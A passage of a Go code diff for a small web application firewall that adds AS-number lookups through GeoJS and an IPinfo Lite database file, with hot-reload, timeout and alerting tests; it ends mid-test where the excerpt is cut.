+	testNetblock = "203.0.113.0/24"
+	testClient   = "203.0.113.9/32"
+)
+
+func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T) {
+	t.Parallel()
+
+	germany := lookuptest.Network{ASN: "AS64496", ASName: "Example Net", Country: "DE"}
+	northKorea := lookuptest.Network{ASN: "AS64511", ASName: "Other Net", Country: "KP"}
+	path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
+	lookuptest.Write(t, path, map[string]lookuptest.Network{
+		testNetblock:    germany,
+		"2001:db8::/32": northKorea,
+	})
+
+	now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
+
+	f, err := OpenFile(FileParams{
+		Path:       path,
+		Now:        func() time.Time { return now },
+		ProcessLog: slog.New(slog.DiscardHandler),
+		Alerts:     newQueue(),
+	})
+	if err != nil {
+		t.Fatalf("open %s: %v", path, err)
+	}
+
+	for client, want := range map[string]lookuptest.Network{
+		testClient: germany,
+		// An IPv6 client is its /64.
+		"2001:db8:1:2::/64": northKorea,
+		"198.51.100.7/32":   {},
+	} {
+		prefix := netip.MustParsePrefix(client)
+
+		got := f.LookUp(prefix)
+		if got != (Answer{
+			Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country,
+			Answered: now,
+		}) {
+			t.Errorf("%s has the answer %+v, want %+v, answered %s", client, got, want, now)
+		}
+	}
+}
+
+func TestRecordThatCannotBeReadPlacesTheClientNowhere(t *testing.T) {
+	t.Parallel()
+
+	// The AS number is a number, where a string belongs. The writer writes
+	// a record's fields in the order of their names, so as_name is read
+	// before the AS number fails.
+	path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
+	lookuptest.WriteRecords(t, path, map[string]mmdbtype.Map{
+		testNetblock: {
+			"asn":          mmdbtype.Uint32(64496),
+			"as_name":      mmdbtype.String("Example Net"),
+			"country_code": mmdbtype.String("DE"),
+		},
+	})
+
+	f := openFile(t, path, newQueue())
+
+	answer := f.LookUp(netip.MustParsePrefix(testClient))
+	if answer.ASN != "" || answer.ASName != "" || answer.Country != "" {
+		t.Errorf("%s is placed %+v, want nowhere", testClient, answer)
+	}
+}
+
+func TestFileThatCannotBeReadIsAnError(t *testing.T) {
+	t.Parallel()
+
+	dir := t.TempDir()
+	missing := filepath.Join(dir, "missing.mmdb")
+	notDatabase := filepath.Join(dir, "not.mmdb")
+	writeFile(t, notDatabase, "not a lookup database\n")
+
+	for path, want := range map[string]string{
+		missing: "SWWAF_LOOKUP_DB_PATH cannot be read: open " + missing +
+			": no such file or directory",
+		notDatabase: "SWWAF_LOOKUP_DB_PATH " + notDatabase +
+			" is not a .mmdb file: error opening database: invalid MaxMind DB file",
+	} {
+		_, err := OpenFile(FileParams{
+			Path:       path,
+			Now:        time.Now,
+			ProcessLog: slog.New(slog.DiscardHandler),
+			Alerts:     newQueue(),
+		})
+		if err == nil || err.Error() != want {
+			t.Errorf("opening %s failed with %v, want %s", path, err, want)
+		}
+	}
+}
+
+// The tests below run readAfterChanges in a synctest bubble, where time is
+// a clock of the test's own: time.Sleep moves it on at once, and
+// synctest.Wait returns once readAfterChanges waits again, so that every
+// reading due by then is done. The test sends the changes itself, as the
+// watch of a directory cannot run in a bubble.
+
+func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		dir := t.TempDir()
+		path := filepath.Join(dir, "ipinfo_lite.mmdb")
+		writeDatabase(t, path, "DE")
+
+		queue := newQueue()
+		f := openFile(t, path, queue)
+		changes := watch(t, f)
+
+		other := filepath.Join(dir, "replacement.mmdb")
+		writeDatabase(t, other, "KP")
+
+		replacement, err := os.ReadFile(other) //nolint:gosec // a file the test wrote
+		if err != nil {
+			t.Fatalf("read %s: %v", other, err)
+		}
+
+		// The file in use is overwritten in place, and keeps giving what
+		// it gave. Its first part alone is not a .mmdb file.
+		file, err := os.Create(path) //nolint:gosec // a file the test wrote
+		if err != nil {
+			t.Fatalf("create %s: %v", path, err)
+		}
+
+		defer func() {
+			_ = file.Close()
+		}()
+
+		half := len(replacement) / 2
+		write(t, file, replacement[:half])
+
+		changes <- fsnotify.Event{Name: path, Op: fsnotify.Write}
+
+		time.Sleep(quietTime - time.Nanosecond)
+		synctest.Wait()
+		wantCountry(t, f, "DE")
+
+		// The second part starts the wait again.
+		write(t, file, replacement[half:])
+
+		changes <- fsnotify.Event{Name: path, Op: fsnotify.Write}
+
+		time.Sleep(quietTime - time.Nanosecond)
+		synctest.Wait()
+		wantCountry(t, f, "DE")
+
+		time.Sleep(time.Nanosecond)
+		synctest.Wait()
+		wantCountry(t, f, "KP")
+
+		if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 {
+			t.Errorf("read at %s, with %d failures; want read now, with none",
+				f.LastRead(), f.ReadFailures())
+		}
+
+		wantAlerts(t, queue)
+	})
+}
+
+func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
+		writeDatabase(t, path, "DE")
+
+		queue := newQueue()
+		f := openFile(t, path, queue)
+		read := f.LastRead()
+		changes := watch(t, f)
+
+		writeFile(t, path, "not a lookup database\n")
+
+		changes <- fsnotify.Event{Name: path, Op: fsnotify.Write}
+
+		// Long after, the replacement has been read once.
+		time.Sleep(time.Hour)
+		synctest.Wait()
+		wantCountry(t, f, "DE")
+
+		if !f.LastRead().Equal(read) || f.ReadFailures() != 1 {
+			t.Errorf("read at %s, with %d failures; want read at %s, with one",
+				f.LastRead(), f.ReadFailures(), read)
+		}
+
+		wantAlerts(t, queue, alerts.Alert{
+			Time:   read.Add(quietTime),
+			Event:  alerts.EventFileError,
+			Reason: "the lookup database cannot be read, and the one read before stays in use",
+			Detail: map[string]any{
+				"file": path,
+				"error": "SWWAF_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
+					"error opening database: invalid MaxMind DB file",
+			},
+		})
+	})
+}
+
+func TestChangeOfAnotherFileInTheDirectoryIsNoReplacement(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		dir := t.TempDir()
+		path := filepath.Join(dir, "ipinfo_lite.mmdb")
+		writeDatabase(t, path, "DE")
+
+		f := openFile(t, path, newQueue())
+		changes := watch(t, f)
+
+		// The wait that starts with the watch ends with a reading.
+		time.Sleep(quietTime)
+		synctest.Wait()
+		writeDatabase(t, path, "KP")
+
+		changes <- fsnotify.Event{Name: filepath.Join(dir, "other.mmdb"), Op: fsnotify.Create}
+
+		time.Sleep(quietTime)
+		synctest.Wait()
+		wantCountry(t, f, "DE")
+
+		changes <- fsnotify.Event{Name: path, Op: fsnotify.Write}
+
+		time.Sleep(quietTime)
+		synctest.Wait()
+		wantCountry(t, f, "KP")
+	})
+}
+
+func TestReplacementSavedBeforeTheWatchStartsIsRead(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
+		writeDatabase(t, path, "DE")
+
+		f := openFile(t, path, newQueue())
+
+		// Saved after OpenFile read the file, and before its directory was
+		// watched, so that no change is seen for it.
+		writeDatabase(t, path, "KP")
+		watch(t, f)
+		time.Sleep(quietTime)
+		synctest.Wait()
+		wantCountry(t, f, "KP")
+	})
+}
+
+// newQueue returns a queue of alerts for a webhook that is never sent
+// them, so that they wait in it for the test to look at.
+func newQueue() *alerts.Queue {
+	return alerts.New(alerts.Params{
+		WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"},
+		Events:     alerts.Events(),
+		Cooldown:   15 * time.Minute,
+		Now:        time.Now,
+	})
+}
+
+// writeDatabase writes a lookup database at path that places testNetblock
+// in country, and no other address.
+func writeDatabase(t *testing.T, path, country string) {
+	t.Helper()
+
+	lookuptest.Write(t, path, map[string]lookuptest.Network{
+		testNetblock: {ASN: "AS64496", ASName: "Example Net", Country: country},
+	})
+}
+
+// openFile opens the lookup database at path, which raises its alerts to
+// queue.
+func openFile(t *testing.T, path string, queue *alerts.Queue) *File {
+	t.Helper()
+
+	f, err := OpenFile(FileParams{
+		Path:       path,
+		Now:        time.Now,
+		ProcessLog: slog.New(slog.DiscardHandler),
+		Alerts:     queue,
+	})
+	if err != nil {
+		t.Fatalf("open %s: %v", path, err)
+	}
+
+	return f
+}
+
+// watch runs f's readAfterChanges until the test ends, and returns the
+// channel that sends it changes.
+func watch(t *testing.T, f *File) chan<- fsnotify.Event {
+	t.Helper()
+
+	changes := make(chan fsnotify.Event)
+	ctx, stop := context.WithCancel(t.Context())
+	stopped := make(chan struct{})
+
+	go func() {
+		f.readAfterChanges(ctx, changes, nil)
+		close(stopped)
+	}()
+
+	t.Cleanup(func() {
+		stop()
+		<-stopped
+	})
+
+	return changes
+}
+
+// wantCountry checks the country f gives testClient.
+func wantCountry(t *testing.T, f *File, want string) {
+	t.Helper()
+
+	got := f.LookUp(netip.MustParsePrefix(testClient)).Country
+	if got != want {
+		t.Errorf("%s is in %q, want %q", testClient, got, want)
+	}
+}
+
+// wantAlerts checks the alerts waiting in queue, and that it held none
+// back.
+func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) {
+	t.Helper()
+
+	waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
+	if len(waiting) != len(want) || (len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
+		t.Errorf("alerts waiting %+v, want %+v", waiting, want)
+	}
+
+	if queue.Suppressed() != 0 {
+		t.Errorf("%d alerts held back, want none", queue.Suppressed())
+	}
+}
+
+// writeFile writes content to the file at path.
+func writeFile(t *testing.T, path, content string) {
+	t.Helper()
+
+	err := os.WriteFile(path, []byte(content), 0o600)
+	if err != nil {
+		t.Fatalf("write %s: %v", path, err)
+	}
+}
+
+// write writes data to the end of file.
+func write(t *testing.T, file *os.File, data []byte) {
+	t.Helper()
+
+	_, err := file.Write(data)
+	if err != nil {
+		t.Fatalf("write: %v", err)
+	}
+}

internal/lookup/lookup.go

@@ -1,7 +1,8 @@
-// Package lookup looks up each client's country through the GeoJS web
-// service, and keeps the answers in memory, for at most 100,000 clients
-// and for 7 days each. The answers are written to lookups.json and read
-// from it by the state package.
+// Package lookup looks up each client's AS number and country, through
+// the GeoJS web service or in the lookup database, the IPinfo Lite file
+// SWWAF_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
+// most 100,000 clients and for 7 days each, and are written to
+// lookups.json and read from it by the state package.
 package lookup
 
 import (
@@ -14,17 +15,20 @@ import (
 	"net/http"
 	"net/netip"
 	"slices"
+	"strconv"
 	"strings"
 	"sync"
 	"time"
 
 	"github.com/hashicorp/golang-lru/v2/simplelru"
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/metrics"
 )
 
-// URL is GeoJS's country endpoint. Asked about several addresses at once,
-// comma separated in its ip parameter, it answers with a list.
-const URL = "https://get.geojs.io/v1/ip/country.json"
+// URL is GeoJS's endpoint for an address's place and network. Asked about
+// several addresses at once, comma separated in its ip parameter, it
+// answers with a list.
+const URL = "https://get.geojs.io/v1/ip/geo.json"
 
 const (
 	// keepFor is how long an answer is used instead of asking GeoJS again.
@@ -39,9 +43,8 @@ const (
 	maxWaiting = 10000
 	// maxPerRequest is how many addresses one request to GeoJS asks about.
 	maxPerRequest = 200
-	// timeout is how long a new client waits for its answer, and how long
-	// a request to GeoJS may take before it is abandoned.
-	timeout = time.Second
+	// unknownASN is the AS number GeoJS gives when it knows none.
+	unknownASN = 64512
 	// After a failure GeoJS is not asked again for a second, and for
 	// retryDelayFactor times as long after each further failure in a row,
 	// up to five minutes.
@@ -61,6 +64,16 @@ var (
 type Params struct {
 	// URL is where GeoJS is asked, normally URL.
 	URL string
+	// Timeout is how long a request waits for its client's first answer,
+	// and how long a request to GeoJS may take before it is abandoned
+	// (SWWAF_LOOKUP_TIMEOUT).
+	Timeout time.Duration
+	// Wait is true when a setting needs each request's answer before the
+	// request goes on. Otherwise no request waits for one.
+	Wait bool
+	// Answered, unless nil, is given each answer GeoJS gives, once it is
+	// kept.
+	Answered func(Answer)
 	// Now tells the time, normally time.Now.
 	Now func() time.Time
 	// ProcessLog receives GeoJS's failures.
@@ -68,16 +81,22 @@ type Params struct {
 	// Metrics count the requests to GeoJS, those that failed, and the
 	// clients that go without an answer.
 	Metrics *metrics.Metrics
+	// Alerts receive a source_failure alert each time GeoJS fails.
+	Alerts *alerts.Queue
 }
 
-// GeoJS looks up clients' countries through GeoJS. At most one request
-// to GeoJS is under way at a time, and it asks about every client waiting,
-// up to maxPerRequest. It is safe for concurrent use.
+// GeoJS looks up clients' AS numbers and countries through GeoJS. At most
+// one request to GeoJS is under way at a time, and it asks about every
+// client waiting, up to maxPerRequest. It is safe for concurrent use.
 type GeoJS struct {
 	url        string
+	timeout    time.Duration
+	wait       bool
+	answered   func(Answer)
 	now        func() time.Time
 	processLog *slog.Logger
 	metrics    *metrics.Metrics
+	alerts     *alerts.Queue
 	// httpClient follows no redirect, so that visitors' addresses go to
 	// GeoJS alone: a redirect is a failure.
 	httpClient *http.Client
@@ -95,11 +114,18 @@ type GeoJS struct {
 	retryAt    time.Time
 }
 
-// Answer is what GeoJS said about a client, as lookups.json holds it: its
-// country, "" when GeoJS cannot place it, when GeoJS said so, and when
-// the answer was last used.
+// Answer is what GeoJS or the lookup database said about a client: its AS
+// number, such as AS64496, and the AS's name, both "" when the source knows
+// no AS number for it; its country, "" when the source cannot place it;
+// when the source said so; and, for GeoJS's answers, which lookups.json
+// holds, when the answer was last used. The zero Answer is that of a
+// client with no answer.
+//
+//nolint:tagliatelle // the state files use snake_case, as the request log does
 type Answer struct {
 	Client   netip.Prefix `json:"client"`
+	ASN      string       `json:"asn"`
+	ASName   string       `json:"as_name"`
 	Country  string       `json:"country"`
 	Answered time.Time    `json:"answered"`
 	Used     time.Time    `json:"used"`
@@ -124,9 +150,13 @@ func New(params Params) *GeoJS {
 
 	return &GeoJS{
 		url:        params.URL,
+		timeout:    params.Timeout,
+		wait:       params.Wait,
+		answered:   params.Answered,
 		now:        params.Now,
 		processLog: params.ProcessLog,
 		metrics:    params.Metrics,
+		alerts:     params.Alerts,
 		httpClient: &http.Client{
 			CheckRedirect: func(*http.Request, []*http.Request) error {
 				return http.ErrUseLastResponse
@@ -137,23 +167,24 @@ func New(params Params) *GeoJS {
 	}
 }
 
-// Country returns the country GeoJS places client in, as a two-letter
-// code in capitals, or "" when the country cannot be found: GeoJS cannot
-// place the client, or has not answered in time. An answer is kept for 7
-// days. Without one, a client waits up to timeout for it, unless it has
-// gone without one before; until GeoJS answers, the client is asked about
-// again in the background. ctx is the context of the client's request,
-// and ends the wait when it ends.
+// LookUp returns the answer GeoJS gave about client, with its country as
+// a two-letter code in capitals, or the zero Answer when there is none
+// yet. An answer is kept for 7 days. Without one, the client is asked
+// about in the background, and, while Wait is set, the request waits up
+// to Timeout for the answer, unless the client has gone without one
+// before. ctx is the context of the client's request, and ends the wait
+// when it ends.
 //
 // GeoJS is asked about the client's first address, which is the client's
-// own address for IPv4, and an address in the same place for an IPv6 /64.
-func (g *GeoJS) Country(ctx context.Context, client netip.Prefix) string {
-	country, asked := g.answerOrWait(ctx, client)
+// own address for IPv4, and an address in the same place for an IPv6
+// netblock.
+func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
+	answer, asked := g.answerOrWait(ctx, client, g.wait)
 	if asked == nil {
-		return country
+		return answer
 	}
 
-	timer := time.NewTimer(timeout)
+	timer := time.NewTimer(g.timeout)
 	defer timer.Stop()
 
 	select {
@@ -165,7 +196,7 @@ func (g *GeoJS) Country(ctx context.Context, client netip.Prefix) string {
 	g.mu.Lock()
 	defer g.mu.Unlock()
 
-	country, found := g.kept(client)
+	answer, found := g.kept(client)
 	if !found {
 		g.metrics.GeoJSUnanswered.Inc()
 	}
@@ -175,7 +206,23 @@ func (g *GeoJS) Country(ctx context.Context, client netip.Prefix) string {
 		w.late = true
 	}
 
-	return country
+	return answer
+}
+
+// LookUpWithoutWaiting is LookUp for a request that does not need the answer,
+// whatever Wait says: it returns the zero Answer at once when none is kept.
+func (g *GeoJS) LookUpWithoutWaiting(ctx context.Context, client netip.Prefix) Answer {
+	answer, _ := g.answerOrWait(ctx, client, false)
+
+	return answer
+}
+
+// Kept returns client's answer, if one is kept, without asking GeoJS.
+func (g *GeoJS) Kept(client netip.Prefix) (Answer, bool) {
+	g.mu.Lock()
+	defer g.mu.Unlock()
+
+	return g.kept(client)
 }
 
 // Snapshot returns every answer kept, sorted by client, as lookups.json
@@ -224,16 +271,16 @@ func (g *GeoJS) Load(answers []Answer) {
 // answerOrWait returns client's kept answer if it has one. Otherwise it
 // puts the client among those waiting if there is room, has GeoJS asked
 // about them if it can be, and returns what to wait on for the answer, or
-// nil when there is nothing to wait for.
+// nil when there is nothing to wait for or mustWait is false.
 func (g *GeoJS) answerOrWait(
-	ctx context.Context, client netip.Prefix,
-) (string, <-chan struct{}) {
+	ctx context.Context, client netip.Prefix, mustWait bool,
+) (Answer, <-chan struct{}) {
 	g.mu.Lock()
 	defer g.mu.Unlock()
 
-	country, found := g.kept(client)
+	answer, found := g.kept(client)
 	if found {
-		return country, nil
+		return answer, nil
 	}
 
 	w, waiting := g.waiting[client]
@@ -244,10 +291,14 @@ func (g *GeoJS) answerOrWait(
 
 	g.ask(ctx)
 
+	if !mustWait {
+		return Answer{}, nil // the answer is not needed before the request goes on
+	}
+
 	if w == nil {
 		g.metrics.GeoJSUnanswered.Inc()
 
-		return "", nil // too many clients wait already
+		return Answer{}, nil // too many clients wait already
 	}
 
 	if !g.asking {
@@ -258,25 +309,25 @@ func (g *GeoJS) answerOrWait(
 	if w.late {
 		g.metrics.GeoJSUnanswered.Inc()
 
-		return "", nil
+		return Answer{}, nil
 	}
 
-	return "", w.asked
+	return Answer{}, w.asked
 }
 
 // kept returns client's answer, if GeoJS gave it less than keepFor ago,
 // and notes that it was used.
-func (g *GeoJS) kept(client netip.Prefix) (string, bool) {
+func (g *GeoJS) kept(client netip.Prefix) (Answer, bool) {
 	now := g.now()
 
 	kept, found := g.answers.Get(client)
 	if !found || now.Sub(kept.Answered) >= keepFor {
-		return "", false
+		return Answer{}, false
 	}
 
 	kept.Used = now
 
-	return kept.Country, true
+	return *kept, true
 }
 
 // ask starts asking GeoJS about the waiting clients, unless a request to
@@ -294,7 +345,8 @@ func (g *GeoJS) ask(ctx context.Context) {
 }
 
 // askAboutWaiting asks GeoJS about the waiting clients, one request at a
-// time, until none is left or GeoJS fails.
+// time, until none is left or GeoJS fails. Each answer kept is given to
+// Answered, outside the lock, since Answered takes locks of its own.
 func (g *GeoJS) askAboutWaiting(ctx context.Context) {
 	for {
 		clients := g.nextClients()
@@ -302,8 +354,16 @@ func (g *GeoJS) askAboutWaiting(ctx context.Context) {
 			return
 		}
 
-		countries, err := g.request(ctx, clients)
-		if !g.keep(clients, countries, err) {
+		given, err := g.request(ctx, clients)
+		kept, answered := g.keep(clients, given, err)
+
+		if g.answered != nil {
+			for _, answer := range kept {
+				g.answered(answer)
+			}
+		}
+
+		if !answered {
 			return
 		}
 	}
@@ -335,32 +395,35 @@ func (g *GeoJS) nextClients() []netip.Prefix {
 	return clients
 }
 
-// keep notes how a request to GeoJS about clients ended, and reports
-// whether GeoJS answered about all of them. Each client whose address
-// GeoJS's answer names gets its answer, with no country when GeoJS gave
-// none. An answer that leaves an address out is a failure. After a
-// failure GeoJS is left alone for a while, and every client still waiting
-// stops waiting and is asked about once GeoJS is asked again.
+// keep notes how a request to GeoJS about clients ended, given being the
+// answer for each address GeoJS's answer names. It returns the answers it
+// kept, and reports whether GeoJS answered about all of the clients. Each
+// client whose address GeoJS's answer names gets its answer. An answer
+// that leaves an address out is a failure. After a failure GeoJS is left
+// alone for a while, and every client still waiting stops waiting and is
+// asked about once GeoJS is asked again.
 func (g *GeoJS) keep(
-	clients []netip.Prefix, countries map[netip.Addr]string, err error,
-) bool {
+	clients []netip.Prefix, given map[netip.Addr]Answer, err error,
+) ([]Answer, bool) {
 	g.mu.Lock()
 	defer g.mu.Unlock()
 
 	now := g.now()
+	kept := make([]Answer, 0, len(clients))
 	leftOut := 0
 
 	for _, client := range clients {
-		country, named := countries[client.Addr()]
+		answer, named := given[client.Addr()]
 		if !named {
 			leftOut++
 
 			continue
 		}
 
-		g.answers.Add(client, &Answer{
-			Client: client, Country: country, Answered: now, Used: now,
-		})
+		answer.Client, answer.Answered, answer.Used = client, now, now
+		g.answers.Add(client, &answer)
+		kept = append(kept, answer)
+
 		close(g.waiting[client].asked)
 		delete(g.waiting, client)
 	}
@@ -386,27 +449,37 @@ func (g *GeoJS) keep(
 
 		g.processLog.Warn("asking GeoJS failed",
 			"error", err.Error(), "asking_again_in", g.retryDelay.String())
+		g.alerts.Raise(alerts.Alert{
+			Event:  alerts.EventSourceFailure,
+			Reason: "asking GeoJS failed",
+			Detail: map[string]any{
+				"source": "geojs", "error": err.Error(),
+				"asking_again_in": g.retryDelay.String(),
+			},
+		})
 
-		return false
+		return kept, false
 	}
 
 	g.retryDelay = 0
 
-	return true
+	return kept, true
 }
 
-// request asks GeoJS about clients in one request, and returns the
-// country it gave, in capitals, for each address its answer names.
+// request asks GeoJS about clients in one request, and returns the answer
+// for each address GeoJS's answer names: its AS number and the AS's name,
+// both "" for the AS number 64512, which GeoJS gives when it knows none,
+// and its country, in capitals.
 func (g *GeoJS) request(
 	ctx context.Context, clients []netip.Prefix,
-) (map[netip.Addr]string, error) {
+) (map[netip.Addr]Answer, error) {
 	addrs := make([]string, 0, len(clients))
 
 	for _, client := range clients {
 		addrs = append(addrs, client.Addr().String())
 	}
 
-	ctx, cancel := context.WithTimeout(ctx, timeout)
+	ctx, cancel := context.WithTimeout(ctx, g.timeout)
 	defer cancel()
 
 	req, err := http.NewRequestWithContext(ctx, http.MethodGet, g.url, http.NoBody)
@@ -433,9 +506,12 @@ func (g *GeoJS) request(
 		return nil, fmt.Errorf("%w %s", errStatus, res.Status)
 	}
 
+	//nolint:tagliatelle // GeoJS's own names
 	var answers []struct {
 		IP          string `json:"ip"`
-		Country string `json:"country"`
+		ASN         int64  `json:"asn"`
+		ASName      string `json:"organization_name"`
+		CountryCode string `json:"country_code"`
 	}
 
 	err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).Decode(&answers)
@@ -443,14 +519,22 @@ func (g *GeoJS) request(
 		return nil, fmt.Errorf("read GeoJS's answer: %w", err)
 	}
 
-	countries := make(map[netip.Addr]string, len(answers))
+	given := make(map[netip.Addr]Answer, len(answers))
 
 	for _, item := range answers {
 		addr, err := netip.ParseAddr(item.IP)
-		if err == nil {
-			countries[addr] = strings.ToUpper(item.Country)
-		}
+		if err != nil {
+			continue
 		}
 
-	return countries, nil
+		answer := Answer{Country: strings.ToUpper(item.CountryCode)}
+		if item.ASN != 0 && item.ASN != unknownASN {
+			answer.ASN = "AS" + strconv.FormatInt(item.ASN, 10)
+			answer.ASName = item.ASName
+		}
+
+		given[addr] = answer
+	}
+
+	return given, nil
 }

internal/lookup/lookup_test.go

@@ -6,6 +6,8 @@ import (
 	"net/http"
 	"net/http/httptest"
 	"net/netip"
+	"net/url"
+	"reflect"
 	"slices"
 	"strings"
 	"sync"
@@ -14,15 +16,20 @@ import (
 	"time"
 
 	"github.com/prometheus/client_golang/prometheus/testutil"
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/lookup"
 	"sneak.berlin/go/smallwebwaf/internal/metrics"
 )
 
 const (
 	// germany is where the stand-in for GeoJS places every address but
-	// unplaced.
+	// unplaced, and asNumber, kept as asn, and asName the AS it gives them.
 	germany  = "DE"
-	// unplaced is the address it cannot place.
+	asNumber = 64496
+	asn      = "AS64496"
+	asName   = "Example Net"
+	// unplaced is the address it cannot place, for which it gives the AS
+	// number 64512 and the AS name Unknown, as GeoJS does.
 	unplaced = "192.0.2.1"
 	// leftOut is the address it leaves out of its answer when
 	// answeringWithoutLeftOut.
@@ -65,6 +72,39 @@ func TestKeptAnswerIsUsedFor7DaysThenAskedAgain(t *testing.T) {
 	})
 }
 
+func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		geojs, clock, g := start()
+		client := netip.MustParsePrefix("203.0.113.9/32")
+
+		// Wait is set, and GeoJS does not answer.
+		geojs.set(hanging)
+
+		began := time.Now()
+		answer := g.LookUpWithoutWaiting(t.Context(), client)
+
+		if waited := time.Since(began); waited != 0 || answer != (lookup.Answer{}) {
+			t.Errorf("got %+v after %s, want no answer at once", answer, waited)
+		}
+
+		waitForRequests(t, geojs, 1)
+		wantAsked(t, geojs, 0, "203.0.113.9")
+
+		// That request is abandoned, and has failed once this returns. GeoJS
+		// answers when it is asked again, and the answer is kept.
+		time.Sleep(timeout)
+		synctest.Wait()
+		geojs.set(answering)
+		waitForCountry(t, g, clock, client, germany)
+
+		if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany {
+			t.Errorf("the kept answer gives the country %q, want %q", got, germany)
+		}
+	})
+}
+
 func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
 	t.Parallel()
 
@@ -80,7 +120,7 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
 
 		var earlier sync.WaitGroup
 
-		earlier.Go(func() { g.Country(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) })
+		earlier.Go(func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) })
 		defer earlier.Wait()
 
 		waitForRequests(t, geojs, 1)
@@ -112,6 +152,58 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
 	})
 }
 
+func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		// A timeout longer than the default, and a GeoJS that does not
+		// answer.
+		const longerTimeout = 3 * time.Second
+
+		m := metrics.New(1, "app")
+		g := lookup.New(lookup.Params{
+			URL:        lookup.URL,
+			Timeout:    longerTimeout,
+			Wait:       true,
+			Now:        time.Now,
+			ProcessLog: slog.New(slog.DiscardHandler),
+			Metrics:    m,
+			Alerts:     alerts.New(alerts.Params{}),
+		})
+		g.SetTransport(&standIn{answers: hanging})
+
+		var (
+			request sync.WaitGroup
+			waited  time.Duration
+		)
+
+		request.Go(func() {
+			began := time.Now()
+
+			wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), "")
+
+			waited = time.Since(began)
+		})
+
+		// A moment before the timeout runs out, GeoJS is still being asked:
+		// the request to it has not failed.
+		time.Sleep(longerTimeout - time.Millisecond)
+		synctest.Wait()
+		wantFailures(t, m, 0)
+
+		// As it runs out, the client's request goes on, and the request to
+		// GeoJS is abandoned, which counts as a failure.
+		request.Wait()
+		synctest.Wait()
+
+		if waited != longerTimeout {
+			t.Errorf("waited %s for the answer, want %s", waited, longerTimeout)
+		}
+
+		wantFailures(t, m, 1)
+	})
+}
+
 func TestAddressLeftOutOfAnAnswerIsAskedAboutAgain(t *testing.T) {
 	t.Parallel()
 
@@ -184,6 +276,96 @@ func TestCountryIsKeptInCapitals(t *testing.T) {
 	})
 }
 
+func TestAnswerHoldsTheASNumberTheASNameAndTheCountry(t *testing.T) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		_, clock, g := start()
+		placed := netip.MustParsePrefix("203.0.113.9/32")
+		notPlaced := netip.MustParsePrefix(unplaced + "/32")
+		now := clock.Now()
+
+		// For the client it cannot place, GeoJS gives the AS number 64512
+		// and the AS name Unknown, which count as unknown.
+		for client, want := range map[netip.Prefix]lookup.Answer{
+			placed: {
+				Client: placed, ASN: asn, ASName: asName, Country: germany,
+				Answered: now, Used: now,
+			},
+			notPlaced: {Client: notPlaced, Answered: now, Used: now},
+		} {
+			got := g.LookUp(t.Context(), client)
+			if got != want {
+				t.Errorf("answer for %s\n%+v\nwant\n%+v", client, got, want)
+			}
+		}
+	})
+}
+
+func TestWithoutWaitTheRequestGoesOnAtOnceAndTheAnswerIsGivenWhenItComes(
+	t *testing.T,
+) {
+	t.Parallel()
+
+	synctest.Test(t, func(t *testing.T) {
+		var (
+			mu    sync.Mutex
+			given []lookup.Answer
+		)
+
+		geojs := &standIn{answers: answeringSlowly}
+		clock := newClock()
+		m := metrics.New(1, "app")
+		g := lookup.New(lookup.Params{
+			URL:     lookup.URL,
+			Timeout: timeout,
+			Answered: func(answer lookup.Answer) {
+				mu.Lock()
+				defer mu.Unlock()
+
+				given = append(given, answer)
+			},
+			Now:        clock.Now,
+			ProcessLog: slog.New(slog.DiscardHandler),
+			Metrics:    m,
+			Alerts:     alerts.New(alerts.Params{}),
+		})
+		g.SetTransport(geojs)
+
+		client := netip.MustParsePrefix("203.0.113.9/32")
+
+		// The request goes on at once, without an answer, and GeoJS is asked
+		// about the client, which it answers most of a second later.
+		began := time.Now()
+
+		got := g.LookUp(t.Context(), client)
+		if took := time.Since(began); took != 0 || got != (lookup.Answer{}) {
+			t.Errorf("waited %s for %+v, want no wait and no answer", took, got)
+		}
+
+		waitForRequests(t, geojs, 1)
+		wantAsked(t, geojs, 0, "203.0.113.9")
+
+		time.Sleep(timeout)
+		synctest.Wait()
+
+		now := clock.Now()
+		want := lookup.Answer{
+			Client: client, ASN: asn, ASName: asName, Country: germany,
+			Answered: now, Used: now,
+		}
+
+		mu.Lock()
